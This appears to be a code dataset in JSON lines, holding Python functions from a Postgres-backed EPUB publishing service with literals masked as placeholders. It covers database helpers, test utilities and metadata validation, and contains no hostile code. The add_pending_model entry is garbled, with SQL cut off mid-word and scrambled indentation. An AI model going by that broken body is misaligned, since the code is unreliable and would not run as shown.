{"signature": "def _insert_user_info(model, cursor):", "body": "user_ids = set([])<EOL>for role_attr in cnxepub.ATTRIBUTED_ROLE_KEYS:<EOL><INDENT>for role in model.metadata.get(role_attr, []):<EOL><INDENT>user_ids.add(role['<STR_LIT:id>'])<EOL><DEDENT><DEDENT>cursor.execute(\"<STR_LIT>\",<EOL>(list(user_ids),))<EOL>try:<EOL><INDENT>existing_user_ids = [x[<NUM_LIT:0>] for x in cursor.fetchall()]<EOL><DEDENT>except TypeError:<EOL><INDENT>existing_user_ids = []<EOL><DEDENT>new_user_ids = [u for u in user_ids if u not in existing_user_ids]<EOL>for user_id in new_user_ids:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (user_id,))<EOL><DEDENT>", "docstring": "Insert the user shadow table info.", "id": "f15184:m7"}
{"signature": "def _insert_file(file_bytes, media_type, cursor):", "body": "cursor.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>(Binary(file_bytes), media_type))<EOL>return cursor.fetchone()[<NUM_LIT:0>]<EOL>", "docstring": "Insert a file, with media_type, into the files table. Returns fileid", "id": "f15184:m8"}
{"signature": "def config_uri():", "body": "config_uri = os.environ.get('<STR_LIT>', None)<EOL>if config_uri is None:<EOL><INDENT>config_uri = os.path.join(here, '<STR_LIT>')<EOL><DEDENT>return config_uri<EOL>", "docstring": "Return the file path of the testing config uri", "id": "f15186:m0"}
{"signature": "def db_connect(method):", "body": "@functools.wraps(method)<EOL>def wrapped(self, *args, **kwargs):<EOL><INDENT>connect = db_connection_factory()<EOL>with connect() as db_connection:<EOL><INDENT>with db_connection.cursor() as cursor:<EOL><INDENT>return method(self, cursor, *args, **kwargs)<EOL><DEDENT><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Decorator for methods that need to use the database\n\n    Example:\n    @db_connect\n    def setUp(self, cursor):\n        cursor.execute(some_sql)\n        # some other code", "id": "f15186:m3"}
{"signature": "def make_publication(self, publisher='<STR_LIT>', message=\"<STR_LIT>\",<EOL>epub=None):", "body": "if epub is None:<EOL><INDENT>epub = b'<STR_LIT>'<EOL><DEDENT>epub = psycopg2.Binary(epub)<EOL>args = (publisher, message, epub,)<EOL>with psycopg2.connect(self.db_conn_str) as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", args)<EOL>publication_id = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return publication_id<EOL>", "docstring": "Make a publication entry in the database.", "id": "f15189:c1:m4"}
{"signature": "@db_connect<EOL><INDENT>def make_one(self, cursor, channel, payload):<DEDENT>", "body": "pl = json.dumps(payload)<EOL>cursor.execute(\"<STR_LIT>\", (channel, pl,))<EOL>cursor.connection.commit()<EOL>time.sleep(<NUM_LIT:1>)<EOL>", "docstring": "Create a Postgres notification", "id": "f15191:c0:m4"}
{"signature": "def _setup_to_archive(self, use_case):", "body": "setup_mapping = {<EOL>use_cases.BOOK: use_cases.setup_BOOK_in_archive,<EOL>}<EOL>try:<EOL><INDENT>setup = setup_mapping[use_case]<EOL><DEDENT>except:  <EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>with self.db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>setup(self, cursor)<EOL><DEDENT><DEDENT>", "docstring": "Used to setup a content set in the archive.\n        This is most useful when publishing revisions.", "id": "f15192:c1:m0"}
{"signature": "def app_get_license_acceptance(self, publication_id, uid, headers=[]):", "body": "path = '<STR_LIT>'.format(publication_id, uid)<EOL>return self.app.get(path, headers=headers)<EOL>", "docstring": "User at ``uid`` lookups up the HTML page for license acceptance.", "id": "f15192:c1:m4"}
{"signature": "def app_post_json_license_acceptance(self, publication_id, uid,<EOL>data, headers=[]):", "body": "path = '<STR_LIT>'.format(publication_id, uid)<EOL>self.app.post_json(path, data, headers=headers)<EOL>", "docstring": "User at ``uid`` accepts the license for publication at\n        ``publication_id either for or against as ``accept``.\n        The ``data`` value is expected to be a python type that\n        this method will marshal to JSON.", "id": "f15192:c1:m5"}
{"signature": "def app_get_role_acceptance(self, publication_id, uid, headers=[]):", "body": "path = '<STR_LIT>'.format(publication_id, uid)<EOL>return self.app.get(path, headers=headers)<EOL>", "docstring": "User at ``uid`` lookups up the HTML page for role acceptance.", "id": "f15192:c1:m6"}
{"signature": "def app_post_json_role_acceptance(self, publication_id, uid,<EOL>data, headers=[]):", "body": "path = '<STR_LIT>'.format(publication_id, uid)<EOL>self.app.post_json(path, data, headers=headers)<EOL>", "docstring": "User at ``uid`` accepts the attributed role for publication at\n        ``publication_id either for or against as ``accept``.\n        The ``data`` value is expected to be a python type that\n        this method will marshal to JSON.", "id": "f15192:c1:m7"}
{"signature": "def app_post_acl(self, uuid_, data, headers=[]):", "body": "path = '<STR_LIT>'.format(uuid_)<EOL>self.app.post_json(path, data, headers=headers)<EOL>", "docstring": "Submission of ACL information for content at ``uuid``.\n        The ``data`` value is expected to be a python type that this method\n        will marshal to JSON.", "id": "f15192:c1:m8"}
{"signature": "def app_get_moderation(self, headers=[]):", "body": "path = '<STR_LIT>'<EOL>resp = self.app.get(path, headers=headers)<EOL>return resp<EOL>", "docstring": "Gets a list of the publication that are currently being moderated.", "id": "f15192:c1:m9"}
{"signature": "def app_post_moderation(self, publication_id, data, headers=[]):", "body": "path = '<STR_LIT>'.format(publication_id)<EOL>resp = self.app.post_json(path, data, headers=headers)<EOL>return resp<EOL>", "docstring": "Moderate the publication by sending an accept/reject state.", "id": "f15192:c1:m10"}
{"signature": "def app_login(self, username, password):", "body": "path = '<STR_LIT>'<EOL>data = {<EOL>'<STR_LIT:username>': username,<EOL>'<STR_LIT:password>': password,<EOL>}<EOL>resp = self.app.post(path, data)<EOL>return resp<EOL>", "docstring": "Logins in to the app using (a stub) accounts.", "id": "f15192:c1:m11"}
{"signature": "def app_logout(self):", "body": "path = '<STR_LIT>'<EOL>resp = self.app.get(path)<EOL>return resp<EOL>", "docstring": "Logout of the app.", "id": "f15192:c1:m12"}
{"signature": "def _extract_cookie_header(self, resp):", "body": "cookie = resp.headers['<STR_LIT>']<EOL>return [('<STR_LIT>', cookie,)]<EOL>", "docstring": "Extracts the cookie header from a login response.", "id": "f15192:c1:m13"}
{"signature": "def make_one(self, binder, content):", "body": "<EOL>metadata = [x.metadata.copy()<EOL>for x in cnxepub.flatten_to_documents(binder)][<NUM_LIT:0>]<EOL>del metadata['<STR_LIT>']<EOL>del metadata['<STR_LIT:version>']<EOL>metadata['<STR_LIT:title>'] = \"<STR_LIT>\"<EOL>publisher = [p['<STR_LIT:id>'] for p in metadata['<STR_LIT>']][<NUM_LIT:0>]<EOL>message = \"<STR_LIT>\"<EOL>composite_doc = cnxepub.CompositeDocument(None, content, metadata)<EOL>return publisher, message, composite_doc<EOL>", "docstring": "Given a binder and content, make a composite document for that\n        binder. Returns publisher, message and CompositeDocument instance.", "id": "f15192:c2:m4"}
{"signature": "def make_epub(self, binder, publisher, message):", "body": "zip_fd, zip_filepath = tempfile.mkstemp('<STR_LIT>', dir=self.tmpdir)<EOL>cnxepub.make_publication_epub(binder, publisher, message,<EOL>zip_filepath)<EOL>return zip_filepath<EOL>", "docstring": "Given a cnx-epub model, create an EPUB.\n        This returns a temporary file location where the EPUB can be found.", "id": "f15194:c0:m1"}
{"signature": "def pack_epub(self, directory):", "body": "zip_fd, zip_filepath = tempfile.mkstemp('<STR_LIT>', dir=self.tmpdir)<EOL>with zipfile.ZipFile(zip_filepath, '<STR_LIT:w>') as zippy:<EOL><INDENT>base_path = os.path.abspath(directory)<EOL>for root, dirs, filenames in os.walk(directory):<EOL><INDENT>archive_path = os.path.abspath(root)[len(base_path):]<EOL>for filename in filenames:<EOL><INDENT>filepath = os.path.join(root, filename)<EOL>archival_filepath = os.path.join(archive_path, filename)<EOL>zippy.write(filepath, archival_filepath)<EOL><DEDENT><DEDENT><DEDENT>return zip_filepath<EOL>", "docstring": "Given an directory containing epub contents,\n        pack it up and make return filepath.\n        Packed file is remove on test exit.", "id": "f15194:c0:m2"}
{"signature": "def copy(self, src, dst_name='<STR_LIT>'):", "body": "dst = os.path.join(self.tmpdir, dst_name)<EOL>shutil.copytree(src, dst)<EOL>return dst<EOL>", "docstring": "Convenient method for copying test data directories.", "id": "f15194:c0:m3"}
{"signature": "@property<EOL><INDENT>def api_keys_by_name(self):<DEDENT>", "body": "attr_name = '<STR_LIT>'<EOL>api_keys = getattr(self, attr_name, None)<EOL>def get_info():<EOL><INDENT>from cnxpublishing.authnz import lookup_api_key_info<EOL>with self.db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor():<EOL><INDENT>return lookup_api_key_info()<EOL><DEDENT><DEDENT><DEDENT>if api_keys is None:<EOL><INDENT>self.addCleanup(delattr, self, attr_name)<EOL>api_keys = {}<EOL>for key, value in get_info().items():<EOL><INDENT>api_keys[value['<STR_LIT:name>']] = key<EOL><DEDENT>setattr(self, attr_name, api_keys)<EOL><DEDENT>return api_keys<EOL>", "docstring": "Mapping of uid to api key.", "id": "f15194:c1:m0"}
{"signature": "def gen_api_key_headers(self, name):", "body": "api_key = self.api_keys_by_name[name]<EOL>api_key_header = [('<STR_LIT>', api_key,)]<EOL>return api_key_header<EOL>", "docstring": "Generate authentication headers for the given user.", "id": "f15194:c1:m1"}
{"signature": "@subscriber(events.PostPublicationEvent)<EOL>@with_db_cursor<EOL>def post_publication_processing(event, cursor):", "body": "module_ident, ident_hash = event.module_ident, event.ident_hash<EOL>celery_app = get_current_registry().celery_app<EOL>cursor.execute('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', (module_ident,))<EOL>for result in cursor.fetchall():<EOL><INDENT>state = celery_app.AsyncResult(result[<NUM_LIT:0>]).state<EOL>if state in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>logger.debug('<STR_LIT>'.format(<EOL>module_ident, ident_hash))<EOL>return<EOL><DEDENT><DEDENT>logger.debug('<STR_LIT>'.format(<EOL>module_ident, ident_hash))<EOL>recipe_ids = _get_recipe_ids(module_ident, cursor)<EOL>update_module_state(cursor, module_ident, '<STR_LIT>', recipe_ids[<NUM_LIT:0>])<EOL>cursor.connection.commit()<EOL>task_name = '<STR_LIT>'<EOL>baking_processor = celery_app.tasks[task_name]<EOL>result = baking_processor.delay(module_ident, ident_hash)<EOL>baking_processor.backend.store_result(result.id, None, '<STR_LIT>')<EOL>track_baking_proc_state(result, module_ident, cursor)<EOL>", "docstring": "Process post-publication events coming out of the database.", "id": "f15197:m1"}
{"signature": "def _get_recipe_ids(module_ident, cursor):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (module_ident,))<EOL>return cursor.fetchone()<EOL>", "docstring": "Returns a tuple of length 2 of primary and fallback recipe ids.\n\n    The primary will be based on the print_style of the book. It is the first\n    of:\n        1. default recipe currently associated with the print_style of the book\n           being baked (defined by module_ident)\n        2. A CSS file associated with this book that is named the same as the\n           print_style\n        3. A CSS file associated with this book that is named 'ruleset.css'\n\n        The fallback is the recipe used for last successful bake of this book,\n        if different than the primary. Either value or both values may be\n        None", "id": "f15197:m2"}
{"signature": "def find_migrations_directory():  ", "body": "here = os.path.abspath(os.path.dirname(__file__))<EOL>return os.path.join(here, '<STR_LIT>')<EOL>", "docstring": "Finds and returns the location of the database migrations directory.\n    This function is used from a setuptools entry-point for db-migrator.", "id": "f15200:m0"}
{"signature": "def make_wsgi_app(global_config, **settings):  ", "body": "from .config import configure<EOL>return configure(settings).make_wsgi_app()<EOL>", "docstring": "Application factory", "id": "f15200:m1"}
{"signature": "@contextlib.contextmanager<EOL>def db_connect(connection_string=None, **kwargs):", "body": "if connection_string is None:<EOL><INDENT>connection_string = get_current_registry().settings[CONNECTION_STRING]<EOL><DEDENT>db_conn = psycopg2.connect(connection_string, **kwargs)<EOL>try:<EOL><INDENT>with db_conn:<EOL><INDENT>yield db_conn<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>db_conn.close()<EOL><DEDENT>", "docstring": "Function to supply a database connection object.", "id": "f15202:m0"}
{"signature": "def with_db_cursor(func):", "body": "@functools.wraps(func)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>if '<STR_LIT>' in kwargs or func.__code__.co_argcount == len(args):<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>with db_connect() as db_connection:<EOL><INDENT>with db_connection.cursor() as cursor:<EOL><INDENT>kwargs['<STR_LIT>'] = cursor<EOL>return func(*args, **kwargs)<EOL><DEDENT><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Decorator that supplies a cursor to the function.\n    This passes in a psycopg2 Cursor as the argument 'cursor'.\n    It also accepts a cursor if one is given.", "id": "f15202:m1"}
{"signature": "def acquire_subject_vocabulary(cursor):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\")<EOL>return cursor.fetchall()<EOL>", "docstring": "Acquire a list of term and identifier values.\n    Returns a list of tuples containing the term and the subject identifier.", "id": "f15202:m2"}
{"signature": "def _role_type_to_db_type(type_):", "body": "with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\")<EOL>db_types = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return dict(list(zip(cnxepub.ATTRIBUTED_ROLE_KEYS, db_types)))[type_]<EOL>", "docstring": "Translates a role type (a value found in\n    ``cnxepub.ATTRIBUTED_ROLE_KEYS``) to a database compatible\n    value for ``role_types``.", "id": "f15202:m3"}
{"signature": "def _dissect_roles(metadata):", "body": "for role_key in cnxepub.ATTRIBUTED_ROLE_KEYS:<EOL><INDENT>for user in metadata.get(role_key, []):<EOL><INDENT>if user['<STR_LIT:type>'] != '<STR_LIT>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>uid = parse_user_uri(user['<STR_LIT:id>'])<EOL>yield uid, role_key<EOL><DEDENT><DEDENT>raise StopIteration()<EOL>", "docstring": "Given a model's ``metadata``, iterate over the roles.\n    Return values are the role identifier and role type as a tuple.", "id": "f15202:m4"}
{"signature": "def upsert_pending_licensors(cursor, document_id):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (document_id,))<EOL>uuid_, metadata = cursor.fetchone()<EOL>acceptors = set([uid for uid, type_ in _dissect_roles(metadata)])<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>existing_acceptors_mapping = dict(cursor.fetchall())<EOL>existing_acceptors = set(existing_acceptors_mapping.keys())<EOL>new_acceptors = acceptors.difference(existing_acceptors)<EOL>for acceptor in new_acceptors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_, acceptor,))<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>defectors = set(cursor.fetchall())<EOL>if not defectors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (document_id,))<EOL><DEDENT>", "docstring": "Update or insert records for pending license acceptors.", "id": "f15202:m5"}
{"signature": "def upsert_pending_roles(cursor, document_id):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\", (document_id,))<EOL>uuid_, metadata = cursor.fetchone()<EOL>acceptors = set([(uid, _role_type_to_db_type(type_),)<EOL>for uid, type_ in _dissect_roles(metadata)])<EOL>upsert_users(cursor, [x[<NUM_LIT:0>] for x in acceptors])<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>existing_roles = set([(r, t,) for r, t in cursor.fetchall()])<EOL>existing_acceptors = existing_roles<EOL>new_acceptors = acceptors.difference(existing_acceptors)<EOL>for acceptor, type_ in new_acceptors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_, acceptor, type_))<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (uuid_,))<EOL>defectors = set(cursor.fetchall())<EOL>if not defectors:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (document_id,))<EOL><DEDENT>", "docstring": "Update or insert records for pending document role acceptance.", "id": "f15202:m6"}
{"signature": "def _get_type_name(model):", "body": "if isinstance(model, cnxepub.Binder):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Returns a type name of 'Document' or 'Binder' based model's type.", "id": "f15202:m7"}
{"signature": "def obtain_licenses():", "body": "with db_connect() as db_conn:<EOL><INDENT>with db_conn.cursor() as cursor:<EOL><INDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\")<EOL>licenses = {r[<NUM_LIT:0>]: r[<NUM_LIT:1>] for r in cursor.fetchall()}<EOL><DEDENT><DEDENT>return licenses<EOL>", "docstring": "Obtain the licenses in a dictionary form, keyed by url.", "id": "f15202:m9"}
{"signature": "def _validate_license(model):", "body": "license_mapping = obtain_licenses()<EOL>try:<EOL><INDENT>license_url = model.metadata['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise exceptions.MissingRequiredMetadata('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>license = license_mapping[license_url]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise exceptions.InvalidLicense(license_url)<EOL><DEDENT>if not license['<STR_LIT>']:<EOL><INDENT>raise exceptions.InvalidLicense(license_url)<EOL><DEDENT>", "docstring": "Given the model, check the license is one valid for publication.", "id": "f15202:m10"}
{"signature": "def _validate_roles(model):", "body": "required_roles = (ATTRIBUTED_ROLE_KEYS[<NUM_LIT:0>], ATTRIBUTED_ROLE_KEYS[<NUM_LIT:4>],)<EOL>for role_key in ATTRIBUTED_ROLE_KEYS:<EOL><INDENT>try:<EOL><INDENT>roles = model.metadata[role_key]<EOL><DEDENT>except KeyError:<EOL><INDENT>if role_key in required_roles:<EOL><INDENT>raise exceptions.MissingRequiredMetadata(role_key)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if role_key in required_roles and len(roles) == <NUM_LIT:0>:<EOL><INDENT>raise exceptions.MissingRequiredMetadata(role_key)<EOL><DEDENT><DEDENT>for role in roles:<EOL><INDENT>if role.get('<STR_LIT:type>') != '<STR_LIT>':<EOL><INDENT>raise exceptions.InvalidRole(role_key, role)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Given the model, check that all the metadata role values\n    have valid information in them and any required metadata fields\n    contain values.", "id": "f15202:m11"}
{"signature": "def _validate_derived_from(cursor, model):", "body": "derived_from_uri = model.metadata.get('<STR_LIT>')<EOL>if derived_from_uri is None:<EOL><INDENT>return  <EOL><DEDENT>try:<EOL><INDENT>ident_hash = parse_archive_uri(derived_from_uri)<EOL>uuid_, version = split_ident_hash(ident_hash, split_version=True)<EOL><DEDENT>except (ValueError, IdentHashSyntaxError, IdentHashShortId) as exc:<EOL><INDENT>raise exceptions.InvalidMetadata('<STR_LIT>', derived_from_uri,<EOL>original_exception=exc)<EOL><DEDENT>args = [uuid_]<EOL>table = '<STR_LIT>'<EOL>version_condition = '<STR_LIT>'<EOL>if version != (None, None,):<EOL><INDENT>args.extend(version)<EOL>table = '<STR_LIT>'<EOL>version_condition = \"<STR_LIT>\"\"<STR_LIT>\".format(version[<NUM_LIT:1>] is None and '<STR_LIT>' or '<STR_LIT:=>')<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\"<EOL>.format(table, version_condition), args)<EOL>try:<EOL><INDENT>_exists = cursor.fetchone()[<NUM_LIT:0>]  <EOL><DEDENT>except TypeError:  <EOL><INDENT>raise exceptions.InvalidMetadata('<STR_LIT>', derived_from_uri)<EOL><DEDENT>model.metadata['<STR_LIT>'] = ident_hash<EOL>", "docstring": "Given a database cursor and model, check the derived-from\n    value accurately points to content in the archive.\n    The value can be nothing or must point to existing content.", "id": "f15202:m12"}
{"signature": "def _validate_subjects(cursor, model):", "body": "subject_vocab = [term[<NUM_LIT:0>] for term in acquire_subject_vocabulary(cursor)]<EOL>subjects = model.metadata.get('<STR_LIT>', [])<EOL>invalid_subjects = [s for s in subjects if s not in subject_vocab]<EOL>if invalid_subjects:<EOL><INDENT>raise exceptions.InvalidMetadata('<STR_LIT>', invalid_subjects)<EOL><DEDENT>", "docstring": "Give a database cursor and model, check the subjects against\n    the subject vocabulary.", "id": "f15202:m13"}
{"signature": "def validate_model(cursor, model):", "body": "<EOL>_validate_license(model)<EOL>_validate_roles(model)<EOL>required_metadata = ('<STR_LIT:title>', '<STR_LIT>',)<EOL>for metadata_key in required_metadata:<EOL><INDENT>if model.metadata.get(metadata_key) in [None, '<STR_LIT>', []]:<EOL><INDENT>raise exceptions.MissingRequiredMetadata(metadata_key)<EOL><DEDENT><DEDENT>_validate_derived_from(cursor, model)<EOL>_validate_subjects(cursor, model)<EOL>", "docstring": "Validates the model using a series of checks on bits of the data.", "id": "f15202:m14"}
{"signature": "def is_publication_permissible(cursor, publication_id, uuid_):", "body": "<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", (publication_id, uuid_,))<EOL>try:<EOL><INDENT>is_allowed = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>is_allowed = False<EOL><DEDENT>return is_allowed<EOL>", "docstring": "Check the given publisher of this publication given\n    by ``publication_id`` is allowed to publish the content given\n    by ``uuid``.", "id": "f15202:m15"}
{"signature": "def add_pending_model(cursor, publication_id, model):", "body": "<EOL>assert isinstance(model, (cnxepub.Document, cnxepub.Binder)), type(model)<EOL>uri = model.get_uri('<STR_LIT>')<EOL>if uri is not None:<EOL><INDENT>ident_hash = parse_archive_uri(uri)<EOL>id, version = split_ident_hash(ident_hash, split_version=True)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\"<EOL>rol_insert AS (<EOL>SERT INTO document_controls (uuid) VALUES (DEFAULT) RETURNING uuid),<EOL>insert AS (<EOL>SERT INTO document_acl (uuid, user_id, permission)<EOL>LUES ((SELECT uuid FROM control_insert),<EOL>(SELECT publisher FROM publications WHERE id = %s),<EOL>'<STR_LIT>'::permission_type))<EOL>CT uuid FROM control_insert\"\"\"<STR_LIT>\"\"\"RT INTO \"<STR_LIT>\"<EOL>publication_id\"<STR_LIT:U+002CU+0020>\"uuid\"<STR_LIT:U+002CU+0020>\"major_version\"<STR_LIT:U+002CU+0020>\"minor_version\"<STR_LIT:U+002CU+0020>\"type\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>ES (%s, %s, %s, %s, %s, '<STR_LIT:f>', '<STR_LIT:f>', %s)<EOL>RNING \"<STR_LIT:id>\", \"<STR_LIT>\", module_version(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><INDENT>args)<EOL>pending_id, uuid_, version = cursor.fetchone()<EOL>pending_ident_hash = join_ident_hash(uuid_, version)<EOL>request = get_current_request()<EOL>path = request.route_path('<STR_LIT>', ident_hash=pending_ident_hash)<EOL>model.set_uri('<STR_LIT>', path)<EOL>if not is_publication_permissible(cursor, publication_id, id):<EOL>exc = exceptions.NotAllowed(id)<EOL>exc.publication_id = publication_id<EOL>exc.pending_document_id = pending_id<EOL>exc.pending_ident_hash = pending_ident_hash<EOL>set_publication_failure(cursor, exc)<EOL>try:<EOL>validate_model(cursor, model)<EOL>except exceptions.PublicationException as exc:<EOL>exc_info = sys.exc_info()<EOL>exc.publication_id = publication_id<EOL>exc.pending_document_id = pending_id<EOL>exc.pending_ident_hash = pending_ident_hash<EOL>try:<EOL>set_publication_failure(cursor, exc)<EOL>except BaseException:<EOL>import traceback<EOL>print(\"<STR_LIT>\"<EOL><INDENT>\"<STR_LIT>\"<EOL>.format(publication_id),<EOL>file=sys.stderr)<EOL>traceback.print_exc()<EOL>raise exc_info[<NUM_LIT:0>](exc_info[<NUM_LIT:1>]).with_traceback(exc_info[<NUM_LIT:2>])<EOL>else:<EOL>upsert_pending_licensors(cursor, pending_id)<EOL>upsert_pending_roles(cursor, pending_id)<EOL>notify_users(cursor, pending_id)<EOL>return pending_ident_hash<EOL>", "docstring": "Adds a model (binder or document) that is awaiting publication\n    to the database.", "id": "f15202:m16"}
{"signature": "def lookup_document_pointer(ident_hash, cursor):", "body": "id, version = split_ident_hash(ident_hash, split_version=True)<EOL>stmt = \"<STR_LIT>\"<EOL>args = [id]<EOL>if version and version[<NUM_LIT:0>] is not None:<EOL><INDENT>operator = version[<NUM_LIT:1>] is None and '<STR_LIT>' or '<STR_LIT:=>'<EOL>stmt += \"<STR_LIT>\".format(operator)<EOL>args.extend(version)<EOL><DEDENT>cursor.execute(stmt, args)<EOL>try:<EOL><INDENT>title = cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>except TypeError:<EOL><INDENT>raise DocumentLookupError()<EOL><DEDENT>else:<EOL><INDENT>metadata = {'<STR_LIT:title>': title}<EOL><DEDENT>return cnxepub.DocumentPointer(ident_hash, metadata)<EOL>", "docstring": "Lookup a document by id and version.", "id": "f15202:m17"}
{"signature": "def add_pending_model_content(cursor, publication_id, model):", "body": "cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(publication_id, model.id,))<EOL>document_info = cursor.fetchone()<EOL>def attach_info_to_exception(exc):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>exc.publication_id = publication_id<EOL>exc.pending_document_id, exc.pending_ident_hash = document_info<EOL><DEDENT>def mark_invalid_reference(reference):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>exc = exceptions.InvalidReference(reference)<EOL>attach_info_to_exception(exc)<EOL>set_publication_failure(cursor, exc)<EOL><DEDENT>for resource in getattr(model, '<STR_LIT>', []):<EOL><INDENT>add_pending_resource(cursor, resource, document=model)<EOL><DEDENT>if isinstance(model, cnxepub.Document):<EOL><INDENT>for reference in model.references:<EOL><INDENT>if reference.is_bound:<EOL><INDENT>reference.bind(reference.bound_model, '<STR_LIT>')<EOL><DEDENT>elif reference.remote_type == cnxepub.INTERNAL_REFERENCE_TYPE:<EOL><INDENT>if reference.uri.startswith('<STR_LIT:#>'):<EOL><INDENT>pass<EOL><DEDENT>elif reference.uri.startswith('<STR_LIT>'):<EOL><INDENT>ident_hash = parse_archive_uri(reference.uri)<EOL>try:<EOL><INDENT>doc_pointer = lookup_document_pointer(<EOL>ident_hash, cursor)<EOL><DEDENT>except DocumentLookupError:<EOL><INDENT>mark_invalid_reference(reference)<EOL><DEDENT>else:<EOL><INDENT>reference.bind(doc_pointer, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mark_invalid_reference(reference)<EOL><DEDENT><DEDENT><DEDENT>args = (psycopg2.Binary(model.content.encode('<STR_LIT:utf-8>')),<EOL>publication_id, model.id,)<EOL>stmt = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>else:<EOL><INDENT>metadata = model.metadata.copy()<EOL>document_pointers = [m for m in cnxepub.flatten_model(model)<EOL>if isinstance(m, cnxepub.DocumentPointer)]<EOL>document_pointer_ident_hashes = [<EOL>(split_ident_hash(dp.ident_hash)[<NUM_LIT:0>],<EOL>split_ident_hash(dp.ident_hash, split_version=True)[<NUM_LIT:1>][<NUM_LIT:0>],<EOL>split_ident_hash(dp.ident_hash, split_version=True)[<NUM_LIT:1>][<NUM_LIT:1>],)<EOL>for dp in document_pointers]<EOL>document_pointer_ident_hashes = list(zip(*document_pointer_ident_hashes))<EOL>if document_pointers:<EOL><INDENT>uuids, major_vers, minor_vers = document_pointer_ident_hashes<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\",<EOL>(list(uuids), list(major_vers), list(minor_vers),))<EOL>valid_pointer_results = cursor.fetchall()<EOL>for result_row in valid_pointer_results:<EOL><INDENT>uuid, version, exists, is_document = result_row<EOL>if not (exists and is_document):<EOL><INDENT>dp = [dp for dp in document_pointers<EOL>if dp.ident_hash == join_ident_hash(uuid, version)<EOL>][<NUM_LIT:0>]<EOL>exc = exceptions.InvalidDocumentPointer(<EOL>dp, exists=exists, is_document=is_document)<EOL>attach_info_to_exception(exc)<EOL>set_publication_failure(cursor, exc)<EOL><DEDENT><DEDENT><DEDENT>metadata['<STR_LIT>'] = cnxepub.model_to_tree(model)<EOL>args = (json.dumps(metadata),<EOL>None,  <EOL>publication_id, model.id,)<EOL>stmt = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>cursor.execute(stmt, args)<EOL>", "docstring": "Updates the pending model's content.\n    This is a secondary step not in ``add_pending_model, because\n    content reference resolution requires the identifiers as they\n    will appear in the end publication.", "id": "f15202:m18"}
{"signature": "def set_publication_failure(cursor, exc):", "body": "publication_id = exc.publication_id<EOL>if publication_id is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>cursor.execute(\"\"\"<STR_LIT>\"\"\", (publication_id,))<EOL>state_messages = cursor.fetchone()[<NUM_LIT:0>]<EOL>if state_messages is None:<EOL><INDENT>state_messages = []<EOL><DEDENT>entry = exc.__dict__<EOL>entry['<STR_LIT:message>'] = exc.message<EOL>state_messages.append(entry)<EOL>state_messages = json.dumps(state_messages)<EOL>cursor.execute(\"\"\"<STR_LIT>\"\"\", ('<STR_LIT>', state_messages, publication_id,))<EOL>", "docstring": "Given a publication exception, set the publication as failed and\n    append the failure message to the publication record.", "id": "f15202:m19"}
